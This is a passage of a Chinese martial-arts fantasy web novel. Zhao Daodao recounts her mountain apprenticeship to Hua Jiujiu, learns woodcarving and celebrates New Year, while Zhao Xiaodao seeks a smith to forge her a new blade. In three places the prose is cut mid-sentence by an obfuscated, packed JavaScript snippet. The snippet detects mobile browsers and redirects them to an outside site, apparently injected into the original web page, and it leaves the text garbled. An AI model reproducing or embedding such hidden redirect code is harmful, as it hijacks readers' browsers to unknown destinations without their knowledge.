今天花九九要去的地方是茶馆。 来茶馆自然要喝茶。 然而陪着花九九的人都知道,在她面前喝茶也是一场赌博。 赵刀刀曾以为小姑娘会更喜欢甜口的东西,实则不然,花九九喝的茶味道奇怪无比,要么是苦涩难咽,要么是咸辣刺激,赵刀刀只尝过一口,就恨不得把舌头摘下来,而花九九却总是云淡风轻地边喝边笑。 第一次见到这场面时,她对这个奇怪的小姑娘不由生出几分佩服。 此刻,这小姑娘又像个老成的大人一样靠在椅子上悠闲地打量周围,旁边放着新沏好的茶。 茶味通过微风飘过来,闻着远没有喝起来那么古怪,甚至让人浑身舒畅,生出一丝暖意。 赵刀刀皱了皱鼻子,怀疑自己已被花九九古怪的品味同化。 喝茶就免不了听戏。 即使定好的时间还没到,戏班子也不会让花九九感到无聊,戏台上的武生正翻着跟头,咿呀呀地挥舞着手里的长枪,赵刀刀看他耍的风生水起,手指在袖子的掩盖下微微动起来,她有些手痒。 轮回城里赵刀刀还有很多事不明白,但有一件事让她安心不少—— 和花九九说的一样,轮回城的人都看不上那些武林秘籍,一是因为他们从不信这些,二是因为有人试着去练也练不出个名堂,这里的人已经认定了那些秘籍的无用。 赵刀刀仔细观察过,那些小摊只有小孩才会逛,稍微大点的早就对什么武功秘籍失去了兴趣。 她心里头有些隐秘的高兴。 赵刀刀把刀谱压在枕头下面,每天都至少翻一遍,有时候什么都不干,光是看着书里小人儿的动作,心中各种念头也能渐渐平息。 她从没想过自己会因为一本刀谱这么满足,书里熟悉的一招一式,竟让她有种他乡遇故知的亲切。 赵刀刀用七天摸清了花九九院子周围巡逻队的时间路线,第八天夜里她悄悄翻出去练刀,无人跟来。虽然手中无刀,招式威力大打折扣,但随着一招一式的施展,她还是觉得爽快极了。 哪怕只练完一招,哪怕她手里只有一根树枝,都令她感到无穷的快乐。 在记忆里,山上练刀的日子总是枯燥乏味,谁曾想这些曾经嗤之以鼻的日常,有朝一日竟也能令她如此感动怀念。 赵刀刀在戏腔中微微垂眸,看向自己的手。 越是练刀,她便越想离开花家。 如果不是誓言难违,赵刀刀一定早就落到后头借机离开,可惜她说了会报恩,也的确欠花九九良多,只能一次又一次认命地跟上前去。 也不知这样的日子何时是个头。 戏台上的故事快完了,两位将军斗了个你死我活,还是难分胜负。花九九打了个哈欠,侧头看向赵刀刀,“走吗?” “嗯?”小祖宗这回又打算去哪? “我不想走,可故事讲完了,这里又太无聊。” “哦……”赵刀刀有一搭没一搭地想着,那就待着吧。 “赵刀刀,你呢?”花九九忽然想到什么,眼中亮闪闪的,直直地盯着她。 “什么?” “你会讲故事吗?” “不会。” 花九九弯起眼睛,笑出了酒窝,没头没尾道:“我想好了,不走了。” 一阵寒风吹过,赵刀刀打了个寒颤。 “不走了?”她眯了眯眼侧头挡风,有些摸不着头脑,起身道:“起风了,还要在这坐着么?我去给你拿个毯子。” 花九九笑眯眯地点着头,眼中满是趣味,“去吧,你快些回来,我要听故事。” “继续听戏吗,他们还排了新戏?这么快。”赵刀刀佩服这些人天天不重样地唱。 “不呀,不听他们讲,听你讲。” “……” 赵刀刀沉默着离开,回来时手上拿了条毯子,递过去花九九没接,但也没有拒绝,便俯身给她盖上。 花九九拢了拢身上盖着的薄毯,把手藏进去,期待地看着赵刀刀。 赵刀刀抽了抽嘴角,道:“我没什么故事可讲。” 花九九笑了下,道:“你不是提起过一个什么山吗?” 赵刀刀忽然汗毛竖立,背后冒了一层冷汗,她只给一个老先生说过这话,花九九如何知道此事? 花九九笑道,“我说过的,在轮回城只有我不想知道的事,没有我想知道却不能知道的事。” 她的笑容纯真又冷酷,赵刀刀叹了口气。 花九九继续道:“我知道你前些日子老是眼巴巴地看着那老人家锯木头,你跟我讲讲你的故事,我让你去帮他锯木头,怎么样?” 见她不言,花九九补充道,“你欠的债划掉一半。” 赵刀刀轻叹一声,心说:一来我没和那老先生提起过什么往事,就提了一嘴尚青山,二来人家可不是锯木头,那分明是雕刻啊。但转念一想,又何必与花九九纠缠这些细节? 她清了清嗓,道:“我以前住在山上。” “喝茶?”花九九听出赵刀刀嗓子干了。 “不用。”赵刀刀婉拒,清了清嗓,“我上山本是打算去跟人学磨刀的,那人是我师父,他叫……”赵刀刀想了想,叹气道,“我天天喊他师父,已经忘了他叫什么了,只记得他在山上砍柴为生,已有十多年。但最出名的不是他砍柴找木的功夫,而是他教学生的厉害,他是我们村少有的文人,识字很多,听说他以前是个书生。” 赵刀刀缓缓道:“我师父不止我一个徒弟,他教人做斧头,也教人种树,有时间的话也会教我们认认字。其他人每天学完下午就会下山,因为我没有住处,师父就收留了我。” 花九九道:“难怪你总去看那个木匠……你喜欢做斧头吗?” “不太喜欢,我师父那里有很多工具,都打磨得很好,刚开始,我们几个的斧头碰到树就会坏,后来结实些了,又因为不够锋利,还是什么都做不了。” “所以你们开始学磨刀?” “嗯,我们几个徒弟碰到一起,常常会比拼谁打的刀更好,背的书更顺。” “你厉害吗?” “我不厉害,他们都比我厉害。” “为什么?”花九九看她一眼,“我看你也不笨。” 赵刀刀笑了笑,“我不想一直吃住在师父家,就开始捡柴下山卖钱,有时候忙起来肚子都吃不饱,也没有功夫去磨刀,比我先来的那些人……他们比我厉害。” “你师父不管吗?” “他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花九九微微皱眉,“你师父留你吃住,又教你学字,应该不是那样的人……”但她转念一想,似花客栈那些赌客哪个一开始不是人模人样,人是最多变的动物,花九九轻轻摇了摇头,只觉得人心确实难测,“你说的也是,你继续讲。” “嗯,我师父是很好的,他总告诉我,多认些字,学会打刀,以后就能多交些朋友。” “他说这些倒没错。” 赵刀刀见花九九像个小老太婆一样故作深沉地点头,笑了笑,“但我有时候也不太喜欢他。” “为什么?” “不知道,可能就是他太好了,对每个人都很好。”她只有楚天师这一人可以依靠,虽然知道师父事忙,她不能依靠太多,但有时又气他对自己不闻不问。 赵刀刀记得有次被人拉去练招,到地方拳脚招呼一番又打发她离开,她被揍得鼻青脸肿师父也置若罔闻,她心里又恨又恼:难道师父也觉得我刚硬易折,所以默许了其他弟子的所作所为,还是……他也在等着我服软? 上山第三年,楚天师有次说到她性子该磨,但要她服软怎么可能?对师兄弟的做法,师父不问,她就也闷在心里不说,只是把仇记在心里,将其他人算了一遍又一遍,有时候忍不住算到师父头上,又劝说自己:他救我一命教我武功已经仁至义尽,是我自己不好才被人嘲笑。那时心中纠结万分,又感激又不满,整日只能闷头生气。 赵刀刀总觉得自己这师父简直像个天人一样不问世事无喜无悲,除了功夫练得好,其他实在数不出什么优点,放在读书人里大约得是个功课绝顶厉害的书呆子。 赵刀刀一边回忆往事,一边东拉西扯,继续讲磨刀的故事。 听到微微鼾声,才低头看去。 她弯了眼睛,不禁哑然一笑,花九九睡着了。 有这么无趣吗,赵刀刀反思了下。 她等了会儿,悄声站起。走到茶馆后门,问守门道:“我能出去吗?” 门口的人面面相觑。 “我赶傍晚回来,花九九问起你们直说就行。” 守门想了想,挥挥手,“去吧去吧。” 赵刀刀走在路上。嘴上和花九九乱说一通,但脑中也算仔细回想了一遍,山上的事她记得,可她一开始明明叫赵孤娘,为什么……为什么她要叫自己赵刀刀呢? 刀……她练得是刀谱没错,因为她练刀所以改了名字?赵刀刀扶着头,她还有事不记得。 73. 青山 赵小刀在顾家待了几日,等自己觉得身体无恙就离开了。 顾倾城没有拦他。 看着赵小刀离开的背影,她还是不明白——这人明明很想活着,但有些时候,又会叫人觉得他好像一点儿也不在乎自己的命。 他会仔细地照顾自己的身体,按时吃药,说忌口就忌口,但若是让他试毒,也依然一副无惧无谓的模样,仿佛只要能达成目的,他什么都可以接受。 这样子让她想起了方英。 顾倾城叹了口气转身回屋。 可惜方英已去。 若是方英还在,一定会发现一件惊人的事情—— 赵小刀的模样和赵逐竟有七分相像。 但纵使有人见过赵逐再见赵小刀,也绝不会认为他们是同一个人,因为赵小刀总是死气沉沉,周身弥漫着一股拒人于三尺之外的气息。 他最常见的表情是嘴角微抿,似笑非笑,一举一动皆像木偶一样僵硬,真正笑出声的时候,几乎分不清是在喜悦还是讽刺。 身形上也半点不像。 赵逐带着少年意气,走到哪里都挺拔如松,他以剑术见长,常年习武的经历让他肩宽体长,看起来半点不单薄。 而赵小刀身材消瘦,就像一根随时可能弯折的竹竿,加上气质阴沉,走起来更是犹如鬼魅。 赵小刀将全部的精力都放在行走上,每一步都踩得很实才迈出下一步。 他其实比顾倾城想得更在乎自己这条命,可惜他要去的地方却是个赌命的地方。赵小刀紧了紧包袱,往城外走去。 山高路远,赵小刀走到佩城,准备在此歇脚几天。 他本不打算在路上拖延时间,但想了很久,最终还是决定要做这件事——他要找人打一把刀。 天气阴沉。 周向晚见到赵小刀的时候正飘着雪。 这个自称是赵刀刀朋友的男人已经过来找过三次,每次都被人拦下。周向晚在剑炉的时候多,听人提起才知道这事,特意过来看看。 还未靠近,远远就见那人拿着顾倾城的信物等在陆家门外。周向晚不动声色地走上前去。 赵小刀说明来意。 周向晚笑了笑,这人连订金都付不起,寥寥几语就想让他打白工,世上哪有这样的好事?道:“阁下,我人好,但陆家可不兴赊账。” 赵小刀抿了抿唇,皱眉道:“不是赊账……” 周向晚搓了搓手,转身道,“算了,天冷,先进来吧。” “多谢。” 二人走进屋内。 赵小刀行礼坐下,沉声道:“单子你能否先接了,我到时候自会带钱来取。” “凭什么?你是顾神医的朋友,可不是我的朋友。”周向晚打量着这个陌生人。 “我……”赵小刀叹了口气,神色诚恳,“实不相瞒,如果世上还有其他人能打这把刀,我绝不会来陆家叨扰,但……这把刀只有你能打出来。” “哦?”周向晚来了兴致,“说来听听?” 赵小刀低头轻咳两声,想了想,道:“我知道你在打一把刀鞘。” 周向晚皱了皱眉,面露不善地看向他手里的信物:“谁告诉你的?” 赵小刀摇头道:“不是顾倾城,她不知道这些。”又道,“我要打的这把刀你曾见过的,就是赵刀刀手中的那把黑刀。我想这世上的铸剑师除了你不会再有第二个人清楚那把刀的样子。” 周向晚知道赵刀刀不见了,却不知具体发生了什么,此时听眼前人说起黑刀的事,心中一惊,莫非那把刀……他担忧道:“赵刀刀在哪,发生什么了?” 赵小刀摇了摇头,“我不知道,只知道她一定还活着。” “你……”周向晚想了想,将话头咽下,他自然也觉得赵刀刀还活着。便问起另一件事:“她的刀怎么了?” 赵小刀道:“那把刀没了。” “怎么没的?”周向晚皱起眉。 赵小刀沉默片刻,叹气道,“断了。” “断了?!” 周向晚掂量过那把刀,他现在还能想起当时心中的惊讶,黑刀分量很重,刀身和刀柄浑然一体,要震断那样一把黑刀,得多大的力量才能做到? 周向晚的语气有些急切,“怎么断的?” 赵小刀摇了摇头,不急不缓道,“我只知刀断了。” “这些事都是谁告诉你的?”周向晚盯着他的眼睛。 赵小刀没有避开视线,静静地看向自己的手,“……赵刀刀。” 周向晚瞪大了眼睛,他收回视线垂眸沉思,片刻后又上下打量着赵小刀,问:“你是赵刀刀什么人?” 他忽然想起赵刀刀那把黑刀的名字是“赵小刀”,这人自报家门的名号也是“赵小刀”,人怎么会和兵器同名,莫非是认识赵刀刀的人特意借此名隐藏身份? 知道这名字的人不会是赵刀刀的仇人,不知道的人也无法分辨出这其实是一把刀的名字。 倒是不错的计谋。 赵小刀道,“我是她的朋友。” 周向晚追问,“为什么从没见过你?” 赵小刀的语气有些落寞,“我从她的家乡来……” “什么地方?” “我不能说。”赵小刀说完也觉得这样下去不能说服周向晚,他抛出了第二个证据,“我知道她的刀法。” 他问周向晚借了纸笔,在纸上歪歪扭扭地画了几个小人。 周向晚心中暗惊,他认出来了,那的确是赵刀刀使过的招式。 周向晚抽走纸张,扔进火盆,看着那张纸全部烧干净,道,“我考虑一下。你现在住在何处?” “客栈。” “陆家在郊外有座宅子,你既没什么钱孤身前来,不介意的话就先去那住两天。我决定好会再找你。” 赵小刀低着头,轻轻勾起一边嘴角,眼中却没有笑意。 他自知求人办事,还是听话些好,况且身在佩城,住在何处于陆家来说又有什么区别?“好。” 赵小刀起身欲走,周向晚突然喊住他,问:“她的旧刀有名字,新刀呢,名字定了吗?” 赵小刀一愣,冷声道,“没有,新刀不需要名字。” 她已有过一把有名字的刀,此后的刀都只是刀罢了,兵器而已,又何须再起新名徒增牵挂? 周向晚见他突然阴沉脸色,心中一紧,他不知这人武功高低,怕他一怒之下拆了陆家,劝道:“你先回去收拾东西,到时会有人带你过去。” “多谢。” 到晚上。 赵小刀已带上全部家当换了地方。 他整理好床铺,坐到桌前。 他又在写信。 赵小刀已不记得这是第几封信,他没有去数。他也不记得今天到底是哪天了。 他只记得自己要赶着时候,要找到刀刀。 其实不该这么悠闲的,可他发现自己心越急,人就越慢,要做的事太多,就好像高山堵住了前路,巨石压在了身上,反而一步都迈不出去。也或许是做人不久,还需要习惯。 赵小刀笑了笑,继续写信。 本来他记得很多日子,他以前总喜欢一天一天,一刻一刻地数着时候,记着日子,但这些天他却强迫自己不能记着——只要不去数,这些分别的时光就会变得短暂,变得模糊,变得没那么磨人。 这习惯改起来比想象中更难,不过自从他开始写信,好像就变得容易一些。 在赵小刀还是一把刀的时候他总会想着未来。 幻想自己会如何生活,幻想刀刀的样子,想着要是哪天赶上她心情好,还能看到她舞刀的样子。 然而这些日子他却控制不住地想起很多过去。 那时候他还是黑刀,整日没什么可做的,就是听声儿。他听风声,脚步声,还有赵刀刀的声音。 刚开始是不信那小姑娘的,只是世上能听见自己声音的只有一人,所以不得不信。到后来,他已能从上百道声音之中辨别出赵刀刀的那道,他熟悉她的呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639128|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她的脚步,她说话间习惯的愣神,甚至分得清她束起发丝的声音。 赵小刀叹了口气。 那些黑暗的,令人不安的过去,居然也能令人怀念。他漫无边际地想象起尚青山的模样。 赵刀刀曾和他提起,她是被师父带上山的。 赵刀刀的师父武功已出神入化,旁人都叫他楚天师。 赵小刀分不清楚天师的声音,他鲜少听到楚天师和赵刀刀说话,印象深的,是尚青山上那堆叽叽喳喳的弟子。 赵刀刀和他倒了快一月的苦水才把这些人的事迹说遍。 在他们遇到前,她被那些人说过走后门,被罚过清扫演武场,常常因为打水赶不上饭。 遇到之后,赵刀刀在能拿稳刀的那天晚上就刮花了那些人外墙。 可惜第二天被发现了,又被狠狠教训了一番,后面刀法长进才渐渐好起来。 赵小刀还记得有只猴子经常叫得很尖,那是赵刀刀师兄从后山抓的,不知那伙人从哪学来的招数,把猴绑在演武场角落里,整天鞭笞着,高兴了就去逗两下,有时赵小刀远远就能听见他们逗猴喊赵孤娘的声音,那些人起哄的声音比猴叫更难听。 等赵刀刀打得过他们之后才渐渐听不见那只猴叫。 不过半夜里仍会有人偷偷翻进屋来,这时候他总会喊醒她,算起来,赵刀刀的刀法也是那会儿练得最勤了。 后来刀法变好了,赵刀刀才敢走得远些,尚青山的悬崖她只闻其名,一直想去看看,真看到了却有点失望。 高还是高的,险也是险的,可惜悬崖边上待着的师兄师姐们太多了,不论什么时候悬崖边都有很多人,她后来便不怎么去了。 唯有楚天师罚人的那段时间——有人私闯了师父练功的地方,被罚倒挂在悬崖上面壁,那会儿人少,她才又去了几回。 就和见到悬崖那次一样,赵刀刀对其他地方的期盼也一点点破灭了,她在尚青山上没了留恋,待着的十几年有大半时间想得都是离开。 听说下了山走很远的路就能看到海,她不知道海是什么样子,如果能下山,想做的第一件事就是去看海。 寒来暑往,后山的树木参天。 她终于等到了机会。 赵刀刀第一次离开门派那天走得很狼狈,因为下山的路她记错了,尚青山丛林茂盛,她身上的衣服被树杈划破许多口子。 大概是下山太开心,她没注意到这些,就穿着一身破烂去棋摊周围凑热闹。 赵刀刀就是在那儿遇到了周忌,她下山后的第一个朋友。 那个朋友不在此间。 赵刀刀站在树上,眺望远处广阔无垠的雪地。 轮回城大得没有边界,她叹了口气跳到屋檐上往回赶去。 还是找不到出城的路,她没想到出城会比下山还难。 赵刀刀记得第一次下山,周忌带她去看了海,海浪汹涌,危险更甚悬崖,她看的惊讶,入了迷,周忌就趁着她愣神讲了许多话,带着她进了铺子,于是她就花光了所有钱买了一件蓝色衣服。 那件衣服却不在她的身上。 花九九没必要在这事上说谎,中间到底发生了什么? 两畔的景色向后飞跃,赵刀刀一边思索,一边又觉得待在这里似乎也没什么不好。这几日她用树枝做刀练习,原来很难使出的那几招居然很容易就使了出来,只可惜手上没有一把像样的好刀,威力有限。 赵刀刀盘算着如果要在这里久待,她不可能永远跟着花九九跑,在花九九眼皮子底下太容易被发现了,她很难找到机会出来探寻城门。 “嘶——”她捂着心脏突然停下。 心尖的痛来得突然,也去得突然,赵刀刀弯下腰捂住心口,缓了会儿抬起头。 眼前一朵小小红花于屋顶几片积雪下的黑色瓦片间冒了头,摇曳于风中。 那花红中带紫,在冬日盛开着,花瓣小巧精致,煞是好看。 这花她从没见过,赵刀刀多看了几眼继续赶路。 74. 年关 赵刀刀赶到时花九九已经醒了,正背对着她和人说话。 带路的小厮使着眼色,伸手欲碰赵刀刀的胳膊,赵刀刀轻轻避开,低声道,“我知道,你不用担心。” 花九九在前面闻声一愣,手腕轻抬,示意停下交谈,转过身来。 赵刀刀犹豫片刻,唤道:“九九。” 花九九将左手放在嘴边清了清嗓,又将双手背到身后交叠相握,左右晃了晃,笑道,“你回来啦。” “嗯。”赵刀刀正准备点头,却忽然瞪大眼睛,“你——” 花九九嘻嘻一笑错开身子,那个被挡住的身影露了出来—— 那人头发已经花白,凌乱地盖在头上,额头上的几缕整齐的格格不入,像是认真梳理过,脸上的皱纹证明着岁月,但那双眼睛却仍和年轻人一样有神。 那双眼睛从发丝间、从厚厚的眼皮下明亮地露出来,和蔼地望过来。他手上缠着的白布已经换过一轮,一身褐色布衣上有数不清的补丁,这人——这不正是赵刀刀一直跟着的那位木匠?! 赵刀刀惊讶道:“沈老头,你……” 白发老者笑了笑,“你这姑娘,总不肯告诉我你的名字,还是九九姑娘这次把我叫来我才知道你叫赵刀刀。” 赵刀刀讪讪一笑。 木匠接着道:“对了,九九姑娘这次把我叫过来,就是为了和我说你的事。” “我的事?”赵刀刀不解道:”我……怎么了?发生了什么事?”她疑惑的看向花九九,花九九朝她眨了眨眼,狡黠地笑了下,赵刀刀更摸不着头脑。 沈木匠笑道,“你平日里一直跑过来看我干活,应该比我发现你有更久了吧。” “啊……”赵刀刀挠了挠头,低下头躲避老木匠的目光,腼腆地笑了笑。 沈木匠接着说:“这些日子我问过你想不想上手试试,你总什么都不说,我还当年轻人觉得这些玩意儿太无聊了,只看着就够了,要不是九九姑娘告诉我,我还不知道你也想做着试试呢。” 赵刀刀看向花九九,花九九又一扭头,鼻子翘上了天,轻哼一声道:“你好好学,我会随时找你来我家锯木头的。” “我……”赵刀刀看了看老木匠,又看了看花九九,一时觉得自己被安排得明明白白,一时又觉得这感觉没想象中糟糕,有些哭笑不得,只应道:“好。” 赵刀刀送老木匠出去,边走边道:“九九她……和你说了些什么?” 沈木匠笑了笑,“她说你很想学木雕呢。”他缓缓道,“九九姑娘让我好好教你,越严厉越好。” 赵刀刀摸了摸鼻子,“只说了这些?” “只有这些。” 赵刀刀安下心来,“那我明天开始……什么时候去找你?” “我明天没什么事要出门,你在花家忙完了就过来吧,不过要是到的太早赶上午饭——” 沈木匠像个老学究一样摇头晃脑,慢慢道:“我老头子的手艺可比不上花家的大厨。” 赵刀刀刚想反驳花家哪有什么大厨,又轻咳两声,道:“不会的,我经常过去,其实你家的饭香味比有些木头还好看。” “你!”老头有些吹胡子瞪眼,一挥袖道,“哼!” 赵刀刀笑了笑,此处离木匠住处还有些路,因着沈老头放慢脚步,两人已不约而同地停下。赵刀刀问:“我送你回去吧?” 老者摇了摇头,“不用,我知道路。”他已经拒绝,但似乎还有话要说,赵刀刀便静下来等。 沈木匠犹豫片刻,叹了口气,沉声道:“赵刀刀,九九姑娘很少和一个人相伴这么久,你是个好孩子,她……趁此机会,你多陪陪她吧。” 赵刀刀张了张口:“自然。” 她嘴上应声,心中却有些不以为意,很多人都想陪在花九九身边,但选择权并不在她们这些人身上,而在于花九九的心思。 那小姑娘什么时候腻了烦了,玩累了这桩游戏,并不是她能决定。 真到那时,赵刀刀不打算强求。 沈木匠接着道:“轮回城不比你原来居处,你有什么想知道的尽可以问我,我知无不言,只有一个要求……你多陪着九九姑娘。”他竟拱手一鞠。 赵刀刀微微皱眉,伸手扶他,“不用这样。” “好。”沈木匠笑了笑,又恢复成赵刀刀熟悉的那个老头,道:“我先走了。”话音刚落,便毫不拖泥带水地转身离去。 赵刀刀伫立路口,看着木匠的背影渐渐远去。 …… 自赵刀刀开始跟着沈木匠学木雕,时间过得又快了些。 沈木匠还从没见过这么古怪的人,比起木雕,他发现赵刀刀更喜欢劈柴,或者说将大木料分成小块。 木头的生命是一圈一圈缓慢生长,雕刻也是一点一点塑造成形,这一切都慢得出奇,又稳健向前,这是他的乐趣,但赵刀刀不同,她虽然耐得下心,却不是在雕刻上,而是劈柴。 比起刻刀,她用斧头仿佛更加顺手,甚至有种浑然天成的味道。 沈老头觉得自己大概是真的老了,才有这种奇怪的错觉。 此刻他又停下手,抬头看向后院里劈柴的身影。 赵刀刀举起斧头,一斧头劈开,又快又轻松。 第一回,他曾以为她是装作不累,但赵刀刀又试了几次,好像是真没什么,沈木匠只得随她去了。 赵刀刀擦了擦汗,撂下斧头,转转手腕道:“这些还够吗,不够我再上山去。” “够了。”沈木匠叹了口气,“过来吃饭,下午你就给我坐在这里,好好练手,这么多天还只雕得出普通形状,刻刀在你手里和斧头有什么区别?!” 赵刀刀洗了手,擦着手笑道:“我不知道该雕什么,你给我的那些模子我不是雕得还行么?” “那是看着样子来,你自己呢,难道就没有什么想做的玩意儿?难道你只学到这里就心满意足了?” 赵刀刀摇了摇头,“有的。”她保证道:“我今天一定认真想!” “今天给我认真些!” “好好好。” 这些对话已经重复多日,沈木匠哼了一声,赵刀刀笑了下转身盛饭。 赵刀刀握着饭勺,稳稳地将饭舀进碗里,她的手还在动,神思却已经游离。 沈木匠说的对,只要是个人,至少都有想要做的东西。哪怕是花九九,今天喜欢兔子,就想让她雕个兔子,明天喜欢猫,便想让她雕只小猫来瞧瞧。花草树木,飞鸟走兽,甚至是锅碗瓢盆,世界之大,人总能找到自己喜欢的,沈木匠要求不高,只是让她自己做自己喜欢的玩意而已,哪怕只是一时喜欢,凭着这点趣味进行雕刻也够了。 她自然也有。 赵刀刀看着锅碗上方的白气消散空中,她自然也有的,只是想不起来了。 赵刀刀将碗筷放在盘中端出去。 “饭来了。” “嗯,先吃饭。” 日子反复起来,赵刀刀也没时间往城外跑了。 她还是住在花家,每日去看一眼花九九,那边无事的话就到沈木匠处雕木。 夜里和上山砍柴的时候,就捡着空继续练刀。 她练刀的事目前还没人发现。 赵刀刀暗自高兴,时至今日,七绝刀法不能说炉火纯青,但其中关窍都已一一练过,加之曾经留下的底子,一套刀法至少使得行云流水。不过有些可惜,轮回城没人和自己对战,也不知到底练得什么模样,欺负欺负山石猛兽倒是不成问题。 想到此处,赵刀刀又有些好奇,“我以前是怎么练刀的呢?” 也是这样一个人吗?还是和人对练,师兄?师弟?或者师妹师姐?又或者……和师父交手? 想不起来。 转眼就到了新年。 赵刀刀抱着年货躲开人群。 明天开始就要开始过年了,花九九说过年的几天她想去哪儿就去哪儿,赵刀刀有点激动,只是还没想好要去哪。 轮回城已经漂亮起来了。傍晚就点起了灯,这几日就像是出嫁的新娘一样,每天都比前一天更美,更红,更亮。 只差最后一场雪的装扮了。 赵刀刀打了招呼,放下年货。 管家走来,派人接下,道,“每到新年家里就有些缺人,幸好有你在,麻烦赵姑娘了。” 赵刀刀摇头,“没事。” “我听九九姑娘说了,你明天就不来府里了。” “嗯。” “可想好了要去哪,手里银子不够的话我再取些。”管家道,“九九姑娘应该和你说过报花家的名字就行,但还是多带些为好。” 赵刀刀笑道,“心意我领了,不过我要去的地方也没什么花销,够用了。” “好。”管家颔首道,“那我先行一步,赵姑娘赶紧去试试新衣吧,在屋里放着,要是不合适还能赶着今天再改改。” “嗯。” 赵刀刀挥了挥手。 进屋只见斗笠披风兜帽挂在进门处,帽子围巾也整齐地摆着,赵刀刀笑了笑,再绕过屏风,忽然呆住——床上铺着两件衣服,一件红,一件黑,黑的那件看起来十分眼熟,她走近些拎起衣袖,是厚的。 她何时穿过这件衣服? 赵刀刀将拿起的袖子轻放在床上,叹了口气。 已是年关,张灯结彩。 赵刀刀白天给花九九和沈木匠送了礼,便出去转了一圈,直到晚上才回到城中。 赵刀刀着一身红衣,难得发绳也换了红色,斜插一根木簪,百无聊赖地坐在桥头上,打着灯笼等表演。 往河水两边望去,行人手里的花灯样式很多,有兔子样的,题诗的,画山的,望向水中,几艘船正慢悠悠地驶来,也挂满了灯,桥上也零星地放着灯,映得人脸又红又火。 一阵风吹来也难得不觉得冷,晚上的河水难得比星河还要亮堂,摇晃着波光,煞是好看。 第一声炮响像是某种信号,孩子和人群的尖叫欢呼渐起,爆竹声开始噼里啪啦地响,烟火此起彼伏地绽放在夜空。 赵刀刀没见过烟花,一时看呆了去。忽然觉得脸上落了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655918|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用手抹去抹了一手黑。 她一时疑惑。花放得久了,才终于意识到那是随着熄灭的火光落下许多灰烬。 赵刀刀忍不住笑起来,她终于明白了为什么没下雪却有人打着伞看花,原来是怕穿着的新衣怕被烟花弄脏。 她呼出一口白气,双手抱着灯取暖。她第一次过这样的新年,好生热闹,好生欢喜。 又见有人带着面具,猴样的,蝴蝶样的,千奇百怪,更觉得新鲜。 赵刀刀坐在桥上栏外,正看着花,行人来来往往要么只看路没注意到她,要不就是在桥下奇怪地望一眼过来,也有一两人叮嘱她小心别掉下去,冬水太冷,她点点头那人便离开了。 “你不高兴吗?” 赵刀刀抬头望去,是个戴面具的小孩扒着扶栏在问她。 她轻声笑道,“没有,为什么觉得我不高兴?” “那你为什么不过来玩,就一直坐在这里?” 赵刀刀一噎,在小孩惊恐的眼神下站起来,翻过栏杆,把灯笼递给小孩,拍拍身上的土,“你玩吧。” 小孩的母亲正好过来,牵住他的手,“人这么多,怎么乱跑?!” “我没有!” 赵刀刀听着笑了笑,摇了摇头,正要下桥,听到那小孩又喊着问:“喂——你的花灯!” 赵刀刀转身用两只手抵在嘴畔,大声回道,“给你玩啦!” “你呢?” “我也要去玩啦!” 小孩看了眼妈妈,又喊道:“我妈妈说不能去太远!” “我知道啦——” 赵刀刀摆摆手离开了。 为首的一条船已行到桥下。 船上,花九九正趴在画舫边缘,透过水的倒影观察头顶的桥洞。 画舫里除了花九九,船夫,还有一人。 花九九之前就在和她说话,此时一道温柔的女声从船舱传出来,她说:“年年岁岁花相似,岁岁年年人不同。” 花九九伸手拨了拨水,缩回手轻叹一声:“嘶,好冷!” “九九。” “嗯。”花九九轻声道:“我知道的。” 她转身靠坐在船尾,轻声重复道:“年年岁岁花相似,岁岁年年人不同。” 姐姐常和她提起这话,可到底是要她无情,还是有情,她已无法分辨。 花九九喃喃道,“姐姐,我想不明白,这里有什么不好,为什么就不能长长久久地留在这里呢?” 里头的人没听清,“什么?” “没什么!我说我知道啦,你讲点别的嘛!” 船舱里传来一声带着笑意的叹息,“好。” 赵刀刀离开了年味最浓的地方,随心所欲地走,不知何时,走到了一片荒地。 这里远离人群,只有芦苇草丛和一条小溪,天寒,溪水只剩细细的一条静静流淌。 烟火的声音还远远传来,喧闹的人声已经听不到半点,乐趣仿佛也被甩在人群中,停在此处,忽然觉得天地之间如此空寂,自己也这样孤寂。 荒草遮挡住了这里原来的样貌,赵刀刀突然心口一痛,揪着胸口弯下了药,如被针扎般,这疼痛不强烈却令人忍不住蜷起身子。 疼痛来的快去的也快,她直起身子,眉头一紧,明明还是空无一物,却忍不住低声自语。 “我原来,好像有个人住在心上。” 可此刻右手张开,摸上胸膛,那里一颗心脏只是扑通扑通地跳着,空荡荡的没有人在。 赵刀刀闭上眼,仰起头。 有冰凉的东西落在脸上,雨? 她睁开眼,月光下白雪如精灵飘落。 “下雪了。” 呼出的白气散在空中。 过了多久了?赵刀刀有些想不起来,已经在花家住了太久。她想,是时候离开那里了,回去得做一间木屋搬出来。 她笑了笑,对自己道,“新年快乐,吉祥如意。” …… 风月城。 空荡荡的山间小屋,房子已被打理一新,也贴上了年画。 